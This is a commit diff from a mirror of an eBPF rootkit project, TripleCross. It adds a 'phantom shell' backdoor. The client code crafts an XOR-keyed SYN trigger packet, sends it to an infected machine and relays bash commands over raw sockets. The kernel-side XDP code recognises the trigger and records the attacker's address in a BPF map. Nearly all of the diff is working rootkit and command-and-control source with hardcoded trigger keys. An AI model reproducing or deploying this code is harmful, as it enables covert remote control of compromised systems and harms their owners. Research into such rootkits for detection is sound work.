mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 00:33:07 +08:00
Updated all components with phantom shell
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -95,6 +95,66 @@ unsigned short crc16(const unsigned char* data_p, unsigned char length){
|
||||
return crc;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Operates input in phantom shell mode.
|
||||
* Returns whether the connection should keep open (0) or not (otherwise)
|
||||
*
|
||||
* @param buf
|
||||
* @return int
|
||||
*/
|
||||
int phantom_shell_mode(char* buf, char* local_ip, char* dest){
|
||||
int is_global_command = manage_global_command(buf, NULL, local_ip, dest);
|
||||
if(is_global_command == 1){
|
||||
//Already finished then, go to next command input
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* request = calloc(4096, sizeof(char));
|
||||
strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
|
||||
strcat(request, buf);
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
||||
//printf("Sending %s\n", msg);
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
|
||||
return 1;
|
||||
}
|
||||
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
||||
packet = rawsocket_sniff_pattern(CC_PROT_BASELINE);
|
||||
char* res = packet.payload;
|
||||
//TODO make the shell to fork and wait for response, but accept new requests meanwhile
|
||||
if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
|
||||
//Received a response
|
||||
char *p;
|
||||
p = strtok(buf, "#");
|
||||
p = strtok(NULL, "#");
|
||||
if(p){
|
||||
//Print response
|
||||
printf("%s\n", p);
|
||||
}else{
|
||||
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
|
||||
}
|
||||
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
|
||||
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
|
||||
}else{
|
||||
//If at this point, then we failed to identify the backdoor message
|
||||
//We attempt to send a final message indicating we are halting the connection
|
||||
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
|
||||
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
|
||||
const char *response = CC_PROT_FIN;
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
|
||||
return 1;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
printf("["KGRN"RESPONSE"RESET"] %s\n", res);
|
||||
|
||||
free(request);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*void get_shell(char* argv){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
@@ -310,6 +370,88 @@ void hook_control_command(char* argv, int mode){
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void phantom_shell_request(char* argv){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
|
||||
//+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload
|
||||
char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1] = {0};
|
||||
srand(time(NULL));
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
//Follow protocol rules
|
||||
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_1;
|
||||
char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_2;
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
|
||||
//K3 with command to start the command with the backdoor
|
||||
memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
memcpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key1[ii];
|
||||
}
|
||||
memcpy(payload+0x06, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x02, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key2[ii];
|
||||
}
|
||||
memcpy(payload+0x0A, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ section2[ii] ^ key3[ii];
|
||||
}
|
||||
|
||||
memcpy(payload+0x0C, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, payload);
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious payload
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
|
||||
return;
|
||||
}else{
|
||||
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
|
||||
}
|
||||
|
||||
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
||||
|
||||
//Wait for rootkit ACK to ensure it's up
|
||||
rawsocket_sniff_pattern(CC_PROT_ACK);
|
||||
printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n");
|
||||
|
||||
client_mode = CLIENT_MODE_PHANTOM_SHELL;
|
||||
//Received ACK, we proceed to send command
|
||||
int connection_terminate = 0;
|
||||
while(connection_terminate == 0){
|
||||
char buf[BUFSIZ];
|
||||
switch(client_mode){
|
||||
case CLIENT_MODE_LIVE_COMMAND:
|
||||
printf(">> client["""KMGN"phantom shell"RESET"""]>: ");
|
||||
fgets(buf, BUFSIZ, stdin);
|
||||
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
|
||||
buf[strlen(buf)-1] = '\0';
|
||||
}
|
||||
|
||||
connection_terminate = phantom_shell_mode(buf, local_ip, argv);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
free(local_ip);
|
||||
}
|
||||
|
||||
//Rootkit backdoor V3 being used - Hive-like
|
||||
void activate_command_control_shell_encrypted_multi_packet(char* argv, int mode){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
@@ -413,7 +555,7 @@ void main(int argc, char* argv[]){
|
||||
char path_arg[512];
|
||||
|
||||
//Command line argument parsing
|
||||
while ((opt = getopt(argc, argv, ":S:c:e:u:a:s:h")) != -1) {
|
||||
while ((opt = getopt(argc, argv, ":S:c:e:u:a:p:s:h")) != -1) {
|
||||
switch (opt) {
|
||||
case 'S':
|
||||
print_welcome_message();
|
||||
@@ -469,6 +611,17 @@ void main(int argc, char* argv[]){
|
||||
hook_control_command(dest_address, 1);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 'p':
|
||||
print_welcome_message();
|
||||
sleep(1);
|
||||
//Send a secret message
|
||||
printf("["KBLU"INFO"RESET"]""Requested a PHANTOM SHELL\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
phantom_shell_request(dest_address);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 's':
|
||||
print_welcome_message();
|
||||
|
||||
Binary file not shown.
@@ -22,6 +22,8 @@
|
||||
#define RESET "\x1B[0m"
|
||||
|
||||
#define CLIENT_MODE_LIVE_COMMAND 0
|
||||
#define CLIENT_MODE_PHANTOM_SHELL 0
|
||||
|
||||
//Global variable, specifying current client mode
|
||||
int client_mode = CLIENT_MODE_LIVE_COMMAND;
|
||||
|
||||
@@ -39,7 +41,7 @@ int client_mode = CLIENT_MODE_LIVE_COMMAND;
|
||||
* @param buf
|
||||
* @return int
|
||||
*/
|
||||
int manage_global_command(char* buf, SSL* ssl){
|
||||
int manage_global_command(char* buf, SSL* ssl, char* local_ip, char* dest){
|
||||
if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
|
||||
if(ssl != NULL){
|
||||
//If in a ssl connection
|
||||
@@ -48,6 +50,16 @@ int manage_global_command(char* buf, SSL* ssl){
|
||||
//We must exit now
|
||||
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
|
||||
exit(0);
|
||||
}else{
|
||||
char* request = CC_PROT_FIN;
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
|
||||
return -1;
|
||||
}
|
||||
//We must exit now
|
||||
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
* @return int
|
||||
*/
|
||||
int live_command_shell_mode(char* buf, SSL *ssl){
|
||||
int is_global_command = manage_global_command(buf, ssl);
|
||||
int is_global_command = manage_global_command(buf, ssl, NULL, NULL);
|
||||
if(is_global_command == 1){
|
||||
//Already finished then, go to next command input
|
||||
return 0;
|
||||
|
||||
Binary file not shown.
@@ -3,6 +3,7 @@
|
||||
|
||||
//C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
|
||||
//Protocol messages are also used inside the secure channel of V2 & V3 backdoor
|
||||
#define CC_PROT_BASELINE "CC_"
|
||||
#define CC_PROT_SYN "CC_SYN"
|
||||
#define CC_PROT_ACK "CC_ACK"
|
||||
#define CC_PROT_MSG "CC_MSG#"
|
||||
@@ -19,11 +20,15 @@
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL "\x1F\x29"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_ACTIVATE_ALL "\x1D\x25"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_DEACTIVATE_ALL "\x1D\x24"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL "\x4E\x14"
|
||||
#define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02
|
||||
|
||||
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
|
||||
#define CC_PROT_COMMAND_HOOK_ACTIVATE_ALL 1
|
||||
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
|
||||
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
|
||||
|
||||
#define CC_PROT_PHANTOM_COMMAND_LIST_HOOKS 0
|
||||
|
||||
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
|
||||
struct trigger_32_t {
|
||||
|
||||
@@ -44,6 +44,13 @@ struct backdoor_packet_log_data_16{
|
||||
struct trigger_16_t trigger_array[6];
|
||||
};
|
||||
|
||||
//Map value, contains data of phantom shell, if active
|
||||
struct backdoor_phantom_shell_data{
|
||||
int active;
|
||||
__u32 d_ip;
|
||||
__u16 d_port;
|
||||
};
|
||||
|
||||
|
||||
struct fs_priv_open{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
@@ -74,6 +81,15 @@ struct backdoor_priv_packet_log_16{
|
||||
} backdoor_packet_log_16 SEC(".maps");
|
||||
|
||||
|
||||
//Map to store state and data of phantom shell
|
||||
struct backdoor_priv_phantom_shell{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1);
|
||||
__type(key, __u64); //Source IPv4 of packet
|
||||
__type(value, struct backdoor_phantom_shell_data);
|
||||
} backdoor_phantom_shell SEC(".maps");
|
||||
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
|
||||
//Located at /src/map_prot.h
|
||||
|
||||
@@ -70,8 +70,6 @@ int classifier(struct __sk_buff *skb){
|
||||
|
||||
bpf_printk("PAYLOAD size: %u\n", payload_size);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -79,4 +77,16 @@ int classifier(struct __sk_buff *skb){
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* COMMANDS
|
||||
* sudo tc qdisc add dev lo clsact
|
||||
* sudo tc filter add dev lo egress bpf direct-action obj tc.o sec classifier/egress
|
||||
* sudo tc filter show dev lo
|
||||
* sudo tc filter show dev lo egress
|
||||
*
|
||||
* tc qdisc del dev lo clsact
|
||||
*/
|
||||
|
||||
|
||||
|
||||
char _license[4] SEC("license") = "GPL";
|
||||
@@ -11,7 +11,7 @@
|
||||
#include "../../common/c&c.h"
|
||||
#include "../bpf/defs.h"
|
||||
|
||||
int execute_key_command(int command_received){
|
||||
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port){
|
||||
int pid = -1; //Received by network stack, just ignore
|
||||
switch(command_received){
|
||||
case CC_PROT_COMMAND_ENCRYPTED_SHELL:
|
||||
@@ -26,6 +26,19 @@ int execute_key_command(int command_received){
|
||||
bpf_printk("Received request to deactivate all hooks\n");
|
||||
ring_buffer_send_backdoor_command(&rb_comm, pid, command_received);
|
||||
break;
|
||||
case CC_PROT_COMMAND_PHANTOM_SHELL:
|
||||
bpf_printk("Received request to start normal shell\n");
|
||||
//Check for phantom shell state
|
||||
__u64 key = 0;
|
||||
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = ip;
|
||||
ps_new_data.d_port = port;
|
||||
|
||||
bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
break;
|
||||
|
||||
default:
|
||||
bpf_printk("Command received unknown: %d\n", command_received);
|
||||
}
|
||||
@@ -125,6 +138,21 @@ static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 paylo
|
||||
command_received = CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL;
|
||||
goto backdoor_finish;
|
||||
}
|
||||
|
||||
correct = 1;
|
||||
//Phantom shell request
|
||||
__builtin_memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
|
||||
if(result3[ii]!=(key3[ii])){
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_PHANTOM_SHELL;
|
||||
goto backdoor_finish;
|
||||
}
|
||||
|
||||
|
||||
backdoor_finish:
|
||||
@@ -136,7 +164,12 @@ backdoor_finish:
|
||||
|
||||
//If we reach this point then we received trigger packet
|
||||
bpf_printk("Finished backdoor V1 check with success\n");
|
||||
execute_key_command(command_received);
|
||||
__u32 ip;
|
||||
__u16 port;
|
||||
__builtin_memcpy(&ip, payload+0x01, sizeof(__u32));
|
||||
__builtin_memcpy(&port, payload+0x05, sizeof(__u16));
|
||||
|
||||
execute_key_command(command_received, ip, port);
|
||||
|
||||
|
||||
return XDP_DROP;
|
||||
@@ -191,11 +224,11 @@ static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Payload before XOR: ");
|
||||
/*bpf_printk("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
|
||||
//First undo running XOR
|
||||
@@ -204,11 +237,11 @@ static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_
|
||||
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
bpf_printk("Payload after XOR: ");
|
||||
/*bpf_printk("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now compute CRC
|
||||
__u8 x;
|
||||
@@ -253,17 +286,17 @@ static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
|
||||
goto backdoor_finish_v3;
|
||||
goto backdoor_finish_v3_32;
|
||||
}
|
||||
|
||||
backdoor_finish_v3:
|
||||
backdoor_finish_v3_32:
|
||||
//Found no valid key 3
|
||||
if(correct==0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return 0;
|
||||
}
|
||||
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||
execute_key_command(command_received);
|
||||
execute_key_command(command_received, 0, 0);
|
||||
|
||||
return 1;
|
||||
}
|
||||
@@ -336,11 +369,11 @@ static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Payload before XOR: ");
|
||||
/*bpf_printk("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
|
||||
//First undo running XOR
|
||||
@@ -349,11 +382,11 @@ static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_
|
||||
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
bpf_printk("Payload after XOR: ");
|
||||
/*bpf_printk("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now compute CRC
|
||||
__u8 x;
|
||||
@@ -398,17 +431,17 @@ static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
|
||||
goto backdoor_finish_v3;
|
||||
goto backdoor_finish_v3_16;
|
||||
}
|
||||
|
||||
backdoor_finish_v3:
|
||||
backdoor_finish_v3_16:
|
||||
//Found no valid key 3
|
||||
if(correct==0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return 0;
|
||||
}
|
||||
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||
execute_key_command(command_received);
|
||||
execute_key_command(command_received, 0, 0);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user